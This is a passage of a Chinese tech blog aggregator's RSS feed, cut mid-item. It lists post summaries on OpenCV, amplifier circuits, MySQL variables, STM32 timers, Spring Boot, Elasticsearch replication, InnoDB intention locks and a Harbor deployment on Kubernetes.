&amp;lt;iostream&amp;gt; #include &amp;lt;QDebug&amp;gt; using namespace std; using namespace cv; TemplateMatchDemo::TemplateMatchDemo() { } cv::Mat img,templ,result; const char* window_title_1 = &#34;Source Image&#34;; const char* window_title_2 = &#34;Result window&#34;; int match_method; int max_Trackbar = 5; void MatchCallback(int,void*) { Mat img_display; img.copyTo( img_display ); //将 img的内容拷贝到 img_display /// 创建输出结果的矩阵 int result_cols = img.</description>
    </item>
    <item>
      <title>(04730)半导体器件之基本放大器工作原理（三）</title>
      <link>https://bchobby.github.io/posts/af41e02e3cd1b27a2a746f2990f393fa/</link>
      <pubDate>Thu, 28 Dec 2023 17:01:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af41e02e3cd1b27a2a746f2990f393fa/</guid>
      <description>本文主要阐述多级与差动放大器 为使输入的微弱信号进行放大后能获得足够的输出功率去推动负载运行，往往要采用所谓的多级放大电路，信号逐级通过放大，直至得到输出信号。这就必须考虑放大电路级与级之间的信号传递方法，或者称为耦合方式。常用的级间耦合有电容耦合、变压器耦合和直接耦合三种方式，分别如图2.3.1、图2.3.2及图2.3.3所示。&#xA;电容耦合方式多用于交流信号放大电路；变压器耦合方式一般用于功率放大电路；本节重点讨论直接耦合多级放大电路，这种方式经常用于交、直流放大电路或中、大规模集成电路中。&#xA;直接耦合多级放大电路的特点及存在的问题 直接耦合多级放大电路的特点 在前面讨论的共射放大电路中，输人、输出端都有一个隔断直流的耦合电容，对输入频率较低的信号会使传输效率变差，对缓慢变化的信号（也称直流信号）则完全隔断不能通过。在实际使用中，往往需要对一些缓慢变化的信号（如温度变化、压力变化的电信号等）进行放大，直接耦合多级放大电路就是针对这种变化缓慢的电信号进行放大的电路，前级输出信号通过导线直接接到后级的输人端，既可放大直流信号，也可放大交流信号。&#xA;直接耦合方式存在的问题 由于各级放大电路级间直接用导线连接，信号的传递效率很高，但会出现两个特别明显的问题。&#xA;(1)各级静态工作点相互影响 在图2.3.4中，第一级电路的集电极输出端与第二级电路的基极直接相连，RC1既为T1管的集电极负载，又是T2管的基极偏置电阻，静态工作点的调整会相互影响，严重时造成电路无法正常工作，又因为VC1=VB2=UBE2≈0.7V,可见T1管的UCE1=VC1≈0.7V,造成T1管的静态工作点接近饱和区，动态范围变窄，造成输出信号的严重失真。&#xA;为解决这一问题，可采用图2.3.5所示的电路，在T2管的发射极中串接发射极电阻RE2使后级的发射极电位提高，从而使T1管的集电极电位也得到提高，使T1管有合适的静态工作点，但RE2的接人又使第二&#xA;级的电压放大倍数减少。&#xA;图2.3.6所示电路，用稳压管Dz代替RE2也可达到提高后级发射极电位的目的，由于稳压管Dz的动态电阻很小，对T2级的电压放大倍数影响不大，但放大电路的级数较多时，可能会带来其他问题。&#xA;(2)零点漂移现象 在静态工作，即没有输人信号作用时，放大器输出端出现一个变化不定偏离原来电位的输出信号，这种现象称为零点漂移，简称零漂。产生零漂的原因主要有：电源电压波动、晶体三极管参数的变化、温度变化等。其中主要是温度变化引起零漂最为严重，电容耦合电路中由于输出端电容的隔直功能，零点漂移在输出端不会产生影响。而在直接耦合放大电路中，零漂信号经逐级放大后，将干扰正常信号的运行，尤其是多级直接耦合放大电路的最前级对放大器的影响最为严重，使放大电路无法稳定工作。&#xA;对于要求较低的放大器，可采用温度补偿方法抑制零漂；而在电路结构上，采用差动放&#xA;大电路是目前应用最为广泛的能有效抑制零漂的方法。&#xA;直接耦合多级放大电路的动态分析 电压放大倍数 多级放大电路接收的信号是逐级串联连续放大的，总的电压放大倍数是各级放大倍数的乘积，写成：&#xA;计算各级放大电路的电压放大倍数时，需注意的是后级电路视为相邻前级电路所带的负载；前级电路视为相邻后级电路的信号源。&#xA;2.输入电阻 把多级放大电路等效成一个放大器，从该放大器的输入端看进去的等效电阻即为输入电阻Ri,Ri的大小只取决于第一级放大电路的结构和电路参数。&#xA;3.输出电阻 把多级放大电路等效成一个放大器，从该放大器的输出端看进去的等效电阻即为输出电阻Ro,Ro的大小只取决于最末级放大电路的结构和电路参数。&#xA;差动放大器的基本结构和工作原理 基本结构 图2.3.9所示电路中晶体三极管T1、T2特性相同，电路结构对称，所选电阻参数大小一样，组成基本差动放大器。输入信号由两个三极管的基极对地引人，输出信号由两个三极管的集电极之间取出。&#xA;工作原理 零点漂移的抑制 静态时ui1=ui2=0，并且&#xA;当温度变化时，列入温度升高时，两个三极管的集电极电流IC1、IC2都会产生相同的变化量&#xA;可见，电路在静态或者温度变化时，由于差动放大电路结构对称的特点，输出电压等于零，电路有很好的抑制零漂的作用。&#xA;信号输入 ①共模信号输入 将大小相等、极性相同的两个输入信号称为共模信号，如图2.3.10所示。共模信号输入相当于零漂的影响。&#xA;当uic变化时，两个三极管的参数均同方向变化，输出电压仍为零，共模信号电压放大倍数。&#xA;上式说明基本差动放大电路对共模信号无放大作用，即零漂被抑制。&#xA;②差模信号输入 将大小相等、极性相反的两个输人信号称为差模信号，如图2.3.11所示。&#xA;输入端采用分压电路，将输入信号uid分成一对差模信号，分别送到两个三极管的输人端，差动电路能对差模信号进行有效的放大。&#xA;差模信号电压放大倍数&#xA;差动放大器的其他几种输入与输出方式 由图2.3.9可知差动放大器有两个输人端，两个输出端。因此差动电路可根据不同需要进行双端输人或单端输入（从一端对地输入信号)；输出信号也可以双端输出或单端输出(从任一晶体管集电极对地输出)，使用十分方便，常见差动放大器有四种接法。&#xA;1.双端输入一双端输出 图2.3.9所示电路，信号分别从三极管的基极对地输入，输出信号从两个三极管的集电极之间取出，其差模电压放大倍数Aud相当于一个三极管组成电路的放大倍数，抑制零漂的能力很好。&#xA;2.双端输入一单端输出 如图2.3.12所示，信号分别从三极管的基极对地输入，输出分别从三极管的集电极对地之间取出差模信号。差模电压放大倍数Aud为双端输出时的一半。T1管的输出电压uo1与输入电压相位相反，而T2管的&#xA;输出电压uo2与输人电压相位相同，这种工作方式输出端会出现零漂现象，必须采取负反馈（见2.4节)&#xA;措施（在两个三极管的发射极加个大电阻和反向的VCC直流源），保证差动电路的正常运行。&#xA;感觉书上的这个图画的难以让人理解，我的理解是这里的单端输出，并不是uo1与uo2同时并存的。&#xA;可以尝试着自己推一下&#xA;3.单端输入一双端输出 如图2.3.13所示，信号从一个三极管的基极对地引入输入信号，由于发射极电阻RE的射极耦合作用，会使两个三极管得到一对差模信号，工作状态与双入一双出工作方式完全相同。&#xA;4.单端输入一单端输出 如图2.3.14所示，信号从一个三极管的基极对地引人输入信号，另一个三极管的基极接地，如输出信号从T1管的集电极对地取出，则输出信号与输入信号反相位变化；如从T2管的集电极对地取出信号时，则输出信号与输入信号会同相位变化。&#xA;综上所述，电路的差模放大倍数只取决于信号输出方式，而与输入方式无关。双端输出时，差模放大倍数与单管放大倍数相同；单端输出时，差模放大倍数为单管放大倍数的一半。双端输出抑制零漂和抗共模干扰的能力比单端输出要好。</description>
    </item>
    <item>
      <title>MySQL5.7 使用系统变量</title>
      <link>https://bchobby.github.io/posts/d309a714ddd17f58941198b7ab9efa78/</link>
      <pubDate>Thu, 28 Dec 2023 16:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d309a714ddd17f58941198b7ab9efa78/</guid>
      <description>官网地址：MySQL :: MySQL 5.7 Reference Manual :: 5.1.8 Using System Variables&#xA;欢迎关注留言，我是收集整理小能手，工具翻译，仅供参考，笔芯笔芯.&#xA;MySQL 5.7 参考手册 / ... / 使用系统变量 5.1.8 使用系统变量 5.1.8.1 系统变量权限&#xA;5.1.8.2 动态系统变量&#xA;5.1.8.3 结构化系统变量&#xA;MySQL 服务器维护许多配置其操作的系统变量。第 5.1.7 节“服务器系统变量”描述了这些变量的含义。每个系统变量都有一个默认值。可以在服务器启动时使用命令行或选项文件中的选项设置系统变量。其中大多数可以在服务器运行时通过语句动态更改 SET ，这使您无需停止并重新启动服务器即可修改服务器的操作。您还可以在表达式中使用系统变量值。&#xA;许多系统变量是内置的。由服务器插件实现的系统变量在安装插件时公开，并且其名称以插件名称开头。例如，该 audit_log插件实现了一个名为 的系统变量audit_log_policy。&#xA;系统变量存在两个范围。全局变量影响服务器的整体运行。会话变量影响各个客户端连接的操作。给定的系统变量可以同时具有全局值和会话值。全局变量和会话系统变量的关系如下：&#xA;当服务器启动时，它将每个全局变量初始化为其默认值。这些默认值可以通过命令行或选项文件中指定的选项进行更改。（请参见 第 4.2.2 节“指定程序选项”。）&#xA;服务器还为每个连接的客户端维护一组会话变量。客户端的会话变量在连接时使用相应全局变量的当前值进行初始化。例如，客户端的SQL模式由会话 sql_mode值控制，该会话值在客户端连接到全局值的值时初始化sql_mode。&#xA;对于某些系统变量，会话值不是从相应的全局值初始化的；如果是这样，则会在变量描述中指出。&#xA;系统变量值可以在服务器启动时使用命令行或选项文件中的选项进行全局设置。启动时，系统变量的语法与命令选项的语法相同，因此在变量名称中，破折号和下划线可以互换使用。例如 --general_log=ON和 --general-log=ON是等价的。&#xA;当您使用启动选项设置采用数值的变量时，可以使用后缀 K、M、 或 G（大写或小写）来指定该值，以指示乘数 1024、1024 2或 1024 3；即分别以千字节、兆字节或千兆字节为单位。因此，以下命令启动服务器，InnoDB日志文件大小为 16 MB，最大数据包大小为 1 GB：&#xA;mysqld --innodb-log-file-size=16M --max-allowed-packet=1G 在选项文件中，这些变量的设置如下：&#xA;[mysqld] innodb_log_file_size=16M max_allowed_packet=1G 后缀字母的大小写无关紧要； 16M和16m是等价的，就像1G和 一样1g。</description>
    </item>
    <item>
      <title>普中STM32-PZ6806L开发板(HAL库函数实现-TIM2实现us延时)</title>
      <link>https://bchobby.github.io/posts/e1c0d1831bdfff4ef06716bbd21f9821/</link>
      <pubDate>Thu, 28 Dec 2023 16:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c0d1831bdfff4ef06716bbd21f9821/</guid>
      <description>简介 使用TIM2实现1us延时 其他知识 公式 时间（s）=1/时钟频率（Hz）由导出 1us = 1/1M(Hz) 预分配设置 系统时钟是72MHz, 要1us的延时, 预分配得设置为72-1 计数器重载设置 设置为最大值65535，这样延时的时间可以设置的最大值也将是65535us, 一次count代表一个计数周期也就是1us 接口 HAL_StatusTypeDef HAL_TIM_Base_Start(TIM_HandleTypeDef *htim); // 是一个用于启动定时器的函数 HAL_StatusTypeDef HAL_TIM_Base_Stop(TIM_HandleTypeDef *htim); // 关闭定时器 __HAL_TIM_SET_COUNTER(__HANDLE__, __COUNTER__) // 设置Counter值 __HAL_TIM_GET_COUNTER(__HANDLE__) // 获取Counter值 实现步骤 创建项目 参考 普中STM32-PZ6806L开发板(STM32CubeMX创建项目并点亮LED灯)&#xA;TIM2 初始化 添加用户代码 time.c /main.c增加函数 /* * us: 延时参数 0 ~65535, 与couter的重置值相符 */ void delay_us(uint16_t us) { __HAL_TIM_SET_COUNTER(&amp;amp;htim2, 0); // counter重置为0 while (__HAL_TIM_GET_COUNTER(&amp;amp;htim2) &amp;lt; us); // couter值大于等于延时时间, 退出循环 } int main() { .</description>
    </item>
    <item>
      <title>【每日试题】java面试之springboot框架</title>
      <link>https://bchobby.github.io/posts/fe0b0ed1294df453a547c0e29929d281/</link>
      <pubDate>Thu, 28 Dec 2023 16:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe0b0ed1294df453a547c0e29929d281/</guid>
      <description>Spring Boot是基于Spring框架的一种快速开发脚手架。它简化了Spring应用的初始搭建和配置过程，使开发人员能够更加专注于业务逻辑的实现。&#xA;Spring Boot的特点有以下几点：&#xA;简化配置：Spring Boot的核心设计理念是约定大于配置。它通过自动配置和默认值来减少开发者需要编写的配置代码，大大简化了应用的配置过程。&#xA;内嵌服务器：Spring Boot支持将Web服务器内嵌到应用中，例如Tomcat、Jetty等。这样一来，开发人员可以轻松启动和调试应用，无需部署到独立的服务器上。&#xA;自动装配：Spring Boot通过自动装配机制，根据项目的依赖关系自动配置Bean。这样一来，开发者不需要手动配置大量的Bean，能够更加专注于业务逻辑的实现。&#xA;独立运行：Spring Boot应用可以作为独立的、可执行的JAR包运行，无需依赖外部环境。这样一来，可以方便地在不同的环境上部署和运行应用。&#xA;提供丰富的起步依赖：Spring Boot提供了大量的起步依赖，覆盖了各种应用场景，包括Web开发、数据访问、消息队列、安全等。这些起步依赖能够大大简化开发过程，提高开发效率。&#xA;集成测试支持：Spring Boot提供了集成测试的支持，能够方便地编写和运行集成测试用例。这样一来，开发人员可以更早地发现和解决问题，提高软件的质量。&#xA;使用Spring Boot进行开发，可以带来以下几个方面的好处：&#xA;快速启动和开发：Spring Boot提供了一套快速搭建项目的脚手架，能够极大地减少项目的初始搭建和配置时间，让开发者能够更快地进入项目的实现阶段。&#xA;简化配置和部署：Spring Boot通过自动配置和内嵌服务器等特性，减少了应用的配置和部署过程。开发者可以专注于业务逻辑的实现，而不需要关注底层的细节。&#xA;提高开发效率：Spring Boot提供了丰富的起步依赖和自动装配机制，大大简化了项目的开发过程。开发者可以方便地使用各种功能模块，提高开发效率。&#xA;支持微服务架构：Spring Boot是构建微服务架构的理想选择。它提供了各种开发工具和框架，能够方便地实现微服务的开发、部署和管理。&#xA;总之，Spring Boot是一个简化Spring应用开发的框架，它通过自动装配、内嵌服务器和丰富的起步依赖等特性，提高了开发效率，简化了部署过程，支持微服务架构。使用Spring Boot进行开发，能够更快地搭建项目，更专注地实现业务逻辑，提高开发效率。Spring Boot 是一个基于 Spring 框架的开源框架，用于快速开发、构建和部署 Java 应用程序。Spring Boot 简化了 Spring 应用程序的配置和部署过程，使开发者能够更加专注于业务逻辑的开发，而无需关注繁琐的配置工作。&#xA;Spring Boot 的主要特点包括：&#xA;简化配置：Spring Boot 使用了自动配置的特性，根据应用程序的依赖和需要，自动配置应用程序的环境，无需手动配置大量的 XML 或注解。&#xA;内嵌容器：Spring Boot 提供了内嵌的 Tomcat、Jetty 或 Undertow 容器，不需要额外的容器即可运行应用程序，简化了部署和环境搭建的过程。&#xA;自动化依赖管理：Spring Boot 提供了一个起步依赖的概念，通过引入相关的起步依赖，可以自动下载和管理应用程序所需的依赖库。&#xA;强大的开发工具支持：Spring Boot 集成了许多开发工具，如快速构建工具 Maven 和 Gradle，自动重新加载应用程序，以及可视化的应用程序监控等。&#xA;微服务支持：Spring Boot 为构建微服务架构提供了良好的支持，通过使用 Spring Cloud 框架，可以快速构建和部署分布式系统。</description>
    </item>
    <item>
      <title>easyexcel 导出</title>
      <link>https://bchobby.github.io/posts/19bf11559cbde5836d54a0179c3b78ae/</link>
      <pubDate>Thu, 28 Dec 2023 16:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19bf11559cbde5836d54a0179c3b78ae/</guid>
      <description>在使用EasyExcel库进行数据写入时，通常我们会使用实体类来存储数据。但是当遇到动态查询，无法确定属性数量和名称时，就需要使用Map来接收数据。然而，直接将Map中的数据写入Excel表格并不是一件简单的事情。接下来，我将介绍如何使用EasyExcel库将Map数据写入Excel表格。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「_多说无益」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qwe1047978302/article/details/134571522</description>
    </item>
    <item>
      <title>elasticsearch系列九：异地容灾-CCR跨集群复制</title>
      <link>https://bchobby.github.io/posts/3b40cdf4a499d2b34e3c4aaa2077ec64/</link>
      <pubDate>Thu, 28 Dec 2023 16:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b40cdf4a499d2b34e3c4aaa2077ec64/</guid>
      <description>概述 起初只在部分业务中采用es存储数据，在主中心搭建了个集群，随着es在我们系统中的地位越来越重要，数据也越来越多，针对它的安全性问题也越发重要，那如何对es做异地容灾呢？&#xA;今天咱们就一起看下官方提供的解决方案cross-cluster replication(简称ccr)。&#xA;环境准备 物理机：96核 64G 2THDD 国产UOS系统的服务器一台 ip 192.168.229.48&#xA;通过docker快速启动2个es 节点、2个kibana节点，es2个节点为2套独立集群。&#xA;名称ip版本es 172.17.0.2&#xA;172.17.0.4&#xA;7.15.0kibana7.15.0jdkopenjdk version 16.0.2 进程如下图： 规划：172.17.0.2 为master 172.17.0.4 为follower 设置CCR 由于CCR是收费版本，如果购买公有云的服务就自带这个功能，此处我们通过试用30天来体验一下。&#xA;我们先在0.4所在的kibana上打开ccr设置主节点的信息如下图：&#xA;接口级设置：&#xA;PUT _cluster/settings{ &#34;persistent&#34;: { &#34;cluster&#34;: { &#34;remote&#34;: { &#34;ccr_test&#34;: { &#34;skip_unavailable&#34;: false, &#34;mode&#34;: &#34;sniff&#34;, &#34;proxy_address&#34;: null, &#34;proxy_socket_connections&#34;: null, &#34;server_name&#34;: null, &#34;seeds&#34;: [ &#34;192.168.229.48:9300&#34; ], &#34;node_connections&#34;: 3 } } } }} 该功能采用TCP协议，所以我们设置默认端口9300，设置完以后如下图：&#xA;并且该功能是基于索引级别的，提供2种方式：创建指定索引同步、自动同步按照索引规则，接下来我们看下2种情况分别如何设置。&#xA;设置特定的索引同步 打开follower的kibana，找到ccr设置项如下图：&#xA;可以创建一个同步任务，此处只能单个索引设置同步。&#xA;接口级设置：&#xA;PUT /ccr_test/_ccr/follow{ &#34;remote_cluster&#34;: &#34;ccr_test&#34;, &#34;leader_index&#34;: &#34;</description>
    </item>
    <item>
      <title>elementui 表单校验validate不起效果</title>
      <link>https://bchobby.github.io/posts/c90dde250ad1a15e630061e144083c99/</link>
      <pubDate>Thu, 28 Dec 2023 16:30:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c90dde250ad1a15e630061e144083c99/</guid>
      <description> 原因： 自定义的validator验证方式需要调用callback。&#xA;验证失败callabck(new Errno(‘’)). 验证成功 callback()&#xA;var checkNumber3 = (rule, value, callback) =&amp;gt; { if (value &amp;amp;&amp;amp; !Number.isInteger(value)) { callback(new Error(&#34;请输入数字值&#34;)); } else { callback(); } }; 其他原因： el-form 应该使用:model=&#34;form&#34; 而不是v-model=&#34;form&#34;checkbox radio无法校验 注意使用的tigger是change而不是blur&#xA;参考 </description>
    </item>
    <item>
      <title>elasticsearch列一：索引模板的使用</title>
      <link>https://bchobby.github.io/posts/64ba5ccdd4296bc02cb8a28a545f6026/</link>
      <pubDate>Thu, 28 Dec 2023 16:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64ba5ccdd4296bc02cb8a28a545f6026/</guid>
      <description>概述 近期一直在负责es这块，就想着和大家分享一些使用经验，我们从存储、查询、优化、备份、运维等几个方面来做分享。今天咱们先看下如何更加合理的存储数据。&#xA;初见索引模板 记得刚接触es还是18年那会，项目上线后因一些原因导致日志这部分的开发未完成，导致日志这块只能通过linux命令查询，及其不方便。&#xA;于是老大让我自己搞定这块，当时是由兄弟团队负责开发这块，所以我们的日志都只是写到了日志文件上，项目刚上线各种问题还经常需要通过日志查询，瞬间涌上心头，于是先搞个脚本把各个服务日志定时搜集到一台服务器上，避免丢失。&#xA;接下来一路趟坑便就开始了，为了快速搞起来，优先百度各种方案，提到最多的就是elk这个词，于是按照网上的方案快速搭建起来了。&#xA;但是那会只是换了方式查询，通过kibana各种维度查询，语法边百度边查询，随着时间推移日志量越来越大，慢慢的查询性能大大降低，一但出了事自己也不知道怎么运维es。&#xA;于是痛下决心开始学习官网文档，全方位了解es。首先发现存储就不对，各个字段几乎都是text格式，大大浪费了磁盘空间。于是首个模板就这么出来了。我们展示其中一段：&#xA;&#34;properties&#34;:{ &#34;id&#34;:{ &#34;type&#34;:&#34;keyword&#34; }, &#34;relativeJobId&#34;:{ &#34;type&#34;:&#34;keyword&#34; }, &#34;reqDate&#34;:{ &#34;type&#34;: &#34;date&#34;, &#34;format&#34;: &#34;yyyy-MM-dd HH:mm:ss&#34; }, &#34;operDate&#34;:{ &#34;type&#34;:&#34;date&#34;, &#34;format&#34;: &#34;yyyy-MM-dd HH:mm:ss&#34; }, &#34;title&#34;:{ &#34;type&#34;:&#34;text&#34;, &#34;norms&#34;: false } } 建立好模板后再晚上业务低峰期对索引逐个进行reindex操作后发现查询能力大大提升，磁盘空间也下降很多。&#xA;索引升级 但是运行一段时间后问题出来了，我们需要扩展日志字段，并且是精确匹配，那该怎么办呢？我们可以通过动态模板的方式实现，我们看下索引模板变成了这样：&#xA;&#34;properties&#34;:{ &#34;id&#34;:{ &#34;type&#34;:&#34;keyword&#34; }, &#34;relativeJobId&#34;:{ &#34;type&#34;:&#34;keyword&#34; }, &#34;reqDate&#34;:{ &#34;type&#34;: &#34;date&#34;, &#34;format&#34;: &#34;yyyy-MM-dd HH:mm:ss&#34; }, &#34;operDate&#34;:{ &#34;type&#34;:&#34;date&#34;, &#34;format&#34;: &#34;yyyy-MM-dd HH:mm:ss&#34; }, &#34;title&#34;:{ &#34;type&#34;:&#34;text&#34;, &#34;norms&#34;: false } }, &#34;dynamic_templates&#34;: [ { &#34;longs&#34;: { &#34;match_mapping_type&#34;: &#34;</description>
    </item>
    <item>
      <title>探索3D软件的奥秘：Maxon Cinema 4D与Autodesk Maya的比较</title>
      <link>https://bchobby.github.io/posts/0dac2c7d297c5e3f6c78a7dd0b947c20/</link>
      <pubDate>Thu, 28 Dec 2023 16:21:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dac2c7d297c5e3f6c78a7dd0b947c20/</guid>
      <description>在3D软件的广阔天地中，Maxon Cinema 4D和Autodesk Maya无疑是两颗璀璨的明星。它们各自拥有独特的功能和特点，使它们在影视、广告、游戏等领域中广受欢迎。在这篇文章中，我们将深入探讨这两款软件的差异，以帮助您更好地了解它们。&#xA;易用性：&#xA;Cinema 4D以其直观的界面和简洁的操作赢得了广大用户的喜爱。它的工作流程简洁高效，使初学者可以快速上手。对于那些想要快速实现创意的人来说，Cinema 4D提供了丰富的预设对象和场景，以及强大的动态图形工具，让您无需过多操作即可实现创意。&#xA;相比之下，Maya的界面和操作较为复杂，需要一定的技术知识和编码背景。然而，对于那些追求精细控制和高级功能的用户来说，Maya提供了丰富的工具集，可以满足他们的需求。在角色设计、动画制作和特效方面，Maya的表现尤为出色。&#xA;渲染引擎：&#xA;Cinema 4D内置了标准渲染器和Redshift渲染器。Redshift以其强大的GPU渲染能力而闻名，为用户提供了高效且高质量的渲染体验。而Octane等其他外部渲染器在功能和速度上也有不俗表现。&#xA;Maya则自带Arnold渲染器，它以其强大的渲染能力和可靠的稳定性而受到赞誉。此外，Maya还支持Redshift、V-Ray等其他外部渲染器，为用户提供了更多的选择。&#xA;运动图形与建模：&#xA;Cinema 4D在运动图形方面表现出色，为用户提供了丰富的动画和视觉效果工具。它适合那些追求创意和动态效果的用户，尤其在广告和品牌宣传方面备受青睐。&#xA;Maya在多边形建模方面具有显著优势，其建模工具强大且高效。此外，Maya在角色绑定和动画制作方面也表现出色，使其成为电影、电视剧和游戏开发中的首选工具。&#xA;插件与生态系统：&#xA;Cinema 4D的插件生态系统相对较小，但仍然提供了丰富的扩展功能。尽管如此，它的社区活跃，资源丰富，为用户提供了良好的学习与交流平台。&#xA;Maya则拥有庞大而丰富的插件生态系统，为用户提供了广泛的扩展功能。从第三方插件到教程资源，Maya的生态系统为使用者提供了无尽的可能性。&#xA;市场需求与行业认可度：&#xA;Maya在行业内享有广泛的认可和高度的市场份额。作为一款功能强大的3D软件，它在动画、电影、电视剧和游戏开发等领域中具有显著优势。因此，对于那些希望进入这些行业的人来说，熟悉Maya可能会更具优势。&#xA;Cinema 4D则在广告、广播和创意领域中表现出色。它的创意和动态图形功能使其在这些领域中广受欢迎。对于那些追求创意表达的人来说，Cinema 4D可能是一个更好的选择。创造家（chuangzaojia.com）是国内最大的AR资源平台之一，提供丰富的3D模型库和相关服务。该平台已经发布了2250个模型，并提供免费下载。用户可以在创造家（chuangzaojia.com）上搜索并浏览各种类型的模型，是一个汇集了大量3D模型的AR内容聚合和分发平台。无论你是专业的设计师还是对AR技术感兴趣的用户，创造家都会是你获取高质量3D模型的理想选择。&#xA;总结：&#xA;无论是Maxon Cinema 4D还是Autodesk Maya，它们都是功能强大的3D软件，各自拥有独特的特点和优势。Cinema 4D以其直观的界面和创意工具赢得了用户的喜爱，而Maya则以其强大的功能和广泛的应用领域备受推崇。根据您的需求和兴趣选择合适的软件，并不断提升您的技能，是迈向成功的关键。</description>
    </item>
    <item>
      <title>什么是意向锁？它和意向书有什么区别？</title>
      <link>https://bchobby.github.io/posts/e70ce9387060b83835601ce37a85d9ee/</link>
      <pubDate>Thu, 28 Dec 2023 16:20:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e70ce9387060b83835601ce37a85d9ee/</guid>
      <description>本文内容已收录至我的面试网站：www.javacn.site&#xA;最近受废话文学的影响，所以有了今天的这个标题，希望大家能喜欢。大家不喜欢也没关系，反正我喜欢。&#xA;鲁迅先生曾经说过“我家门前有两棵树，一棵是枣树，另一棵还是枣树。”，由此可见，这老爷子算是把废话文学给玩明白了。&#xA;希望大家也能，听君一席话，如听一席话。&#xA;聊正题 聊完闲篇，咱们说回正题：什么是意向锁？为什么需要意向锁？&#xA;PS：这里没意向书什么事啊，标题中有，纯粹是为了好玩。它们不能说没什么关系，那是一点关系都没有啊。&#xA;定义 意向锁（Intention Locks）是 MySQL InnoDB 引擎中的一种锁机制（表级锁），用于协调事务间的加锁操作，以避免冲突和死锁的发生。&#xA;为什么要有意向锁？ 例如，事务 A 加锁了 Users 表中的一行数据（行锁），而事务 B 要对整个 Users 表进行加锁（表锁），那么这个时候，如果没有意向锁，那事务 B 就会加锁成功了。而事务 B 如果加锁成功的话，那么它是可以对表中的任意数据行进行操作的，包括事务 A 加锁的那行数据，所以，这个时候就发生了锁冲突。&#xA;为了避免这个问题，所以 MySQL 引入了意向锁，在事务 A 添加行锁的时候，先添加意向锁，而事务 B 在添加表锁的时候，先判断一下意向锁，如果有意向锁了，它就不能加表锁了，这样避免了锁冲突，提升了加锁判断的效率。&#xA;“ 想想一下，如果没有意向锁的话，那么事务 B 在加表锁的时候，只能一行行的判断有没有行锁，而这种判断的效率是非常低的，尤其数据量比较大时。&#xA;” 意向锁分类 意向锁分为以下两种类型：&#xA;意向共享锁（Intention Shared lock，IS）：表示在某个资源上设置共享锁。也就是读锁，用于读取数据的操作，允许多个事务同时持有（共享锁），不互斥。&#xA;意向排他锁（Intention Exclusive lock，IX）：表示在某个资源上设置排他锁。也就是写锁，用于修改和更新数据操作，并且同一时间只能由一个事务持有，不能和其他事务共同持有，具有互斥性和排他性。&#xA;小结 意向锁并不能直接由开发者创建和使用，它是存在于 MySQL 中，由 MySQL 自行维护的一种协调事务加锁的机制。它在事务创建行锁和表锁时创建，在事务提交或回滚之后自动释放。&#xA;说件大事 磊哥一直在做的事，为了让大家找到更好的工作，所以有着 13 年工作经验的我，开发了一门《Java 面试突击训练营》。&#xA;整个课程为期一个月，带着大家把 16 万的图文 + 3000 多分钟的视频课系统的学完，并且录屏支持永久更新和观看。 整个课程从 Java 基础到微服务 Spring Cloud 应用尽有，包含以下 16 个大的模块：</description>
    </item>
    <item>
      <title>K8S部署Harbor仓库实战</title>
      <link>https://bchobby.github.io/posts/7dbfc0cb6dbb5b61d8124e12fbdeb86f/</link>
      <pubDate>Thu, 28 Dec 2023 16:17:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dbfc0cb6dbb5b61d8124e12fbdeb86f/</guid>
      <description>K8S部署Harbor仓库实战 K8S部署Harbor仓库实战 - 简书&#xA;创建文件目录 chartmuseum目录: /var/nfs/data/harbor/chartmuseumdatabase目录: /var/nfs/data/harbor/databasejobservice目录: /var/nfs/data/harbor/jobserviceredis目录: /var/nfs/data/harbor/redisregistry目录: /var/nfs/data/harbor/registrytrivy目录: /var/nfs/data/harbor/trivy脚本 mkdir -p /var/nfs/data/harbor/chartmuseum mkdir -p /var/nfs/data/harbor/database mkdir -p /var/nfs/data/harbor/jobservice mkdir -p /var/nfs/data/harbor/redis mkdir -p /var/nfs/data/harbor/registry mkdir -p /var/nfs/data/harbor/trivy chmod -R 777 harbor 添加heml仓库 helm repo add harbor https://helm.goharbor.io helm repo update 创建namespace kubectl create namespace harbor&#xA;创建配置文件目录 mkdir -p /root/harbor&#xA;cd /root/harbor&#xA;创建harbor-pv.yaml文件并替换内容 apiVersion: v1 kind: PersistentVolume metadata: name: harbor-registry labels: app: harbor-registry spec: capacity: storage: 50Gi accessModes: - ReadWriteOnce persistentVolumeReclaimPolicy: Retain storageClassName: &#34;</description>
    </item>
    <item>
      <title>影视后期制作的探索：C4D与MAYA的比较</title>
      <link>https://bchobby.github.io/posts/6da2cbcdd1d327cfe50a65f873ad6321/</link>
      <pubDate>Thu, 28 Dec 2023 16:14:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6da2cbcdd1d327cfe50a65f873ad6321/</guid>
